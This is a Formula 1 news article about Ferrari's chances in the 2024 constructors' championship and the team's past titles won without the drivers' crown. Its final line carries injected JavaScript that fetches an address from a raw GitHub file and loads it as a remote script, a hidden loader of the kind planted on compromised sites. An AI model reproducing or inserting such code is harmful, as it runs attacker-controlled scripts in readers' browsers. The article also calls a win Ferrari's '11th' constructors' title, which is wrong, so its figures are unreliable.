Ferrari’s impressive performance since Monza, with the exception of a Singapore qualifying misstep, has reignited their hopes for the 2024 Formula 1 constructors’ championship. The Scuderia’s recent success, including Carlos Sainz’s Mexican GP victory, has brought them within 29 points of McLaren and 25 points ahead of Red Bull with four races remaining.
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A Realistic Chance at the Title
Ferrari’s contention is strengthened by having two consistently strong drivers, Sainz and Charles Leclerc, who have both secured victories. This contrasts with Red Bull, which relies heavily on Max Verstappen. McLaren, however, also boasts two formidable drivers in Lando Norris and Oscar Piastri.
Historical Precedent
Ferrari has previously won the constructors’ championship without securing the drivers’ title, most notably in 1976, 1982, 1983, 1999, and 2008. These instances demonstrate the team’s ability to excel despite individual driver outcomes.
1976: Clay Regazzoni’s strong performance as number two driver helped Ferrari prevail over McLaren.
1982: Despite Gilles Villeneuve’s tragic death and Didier Pironi’s career-ending accident, Patrick Tambay and Mario Andretti kept the team competitive.
1983: René Arnoux and Patrick Tambay shared points, ultimately losing to Nelson Piquet’s Brabham.
1999: Eddie Irvine’s solid performance as Michael Schumacher’s number two secured the constructors’ title.
2008: Felipe Massa and Kimi Räikkönen’s combined efforts won the constructors’ championship.
Ferrari’s Refusal to Assign a Lead Driver
The team’s decision not to designate a clear number one driver has contributed to their strong constructors’ position. Sainz’s victory in Mexico exemplifies the benefits of this approach.
Implications for the 2024 Season
As Ferrari vies for its first constructors’ title in 16 years, history suggests that Lando Norris could follow in the footsteps of James Hunt, Mika Häkkinen, and Lewis Hamilton, all of whom won drivers’ championships while Ferrari secured the constructors’ title.
Key Takeaways:
– Ferrari’s resurgence in form since Monza
– Realistic chance at the 2024 constructors’ title
– Historical precedent of winning constructors’ without drivers’ title
– Importance of having two strong drivers
– Ferrari’s refusal to assign a lead driver
With four races remaining, Ferrari’s bid for the constructors’ championship hangs in the balance. Can they maintain their momentum and secure their 11th title?
Reflections:
– Ferrari’s ability to adapt and overcome setbacks
– Importance of team strategy and execution
– Role of individual drivers in constructors’ championship
– Historical context of Ferrari’s past constructors’ titles
– Exciting conclusion to the 2024 F1 season;var url = ‘https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});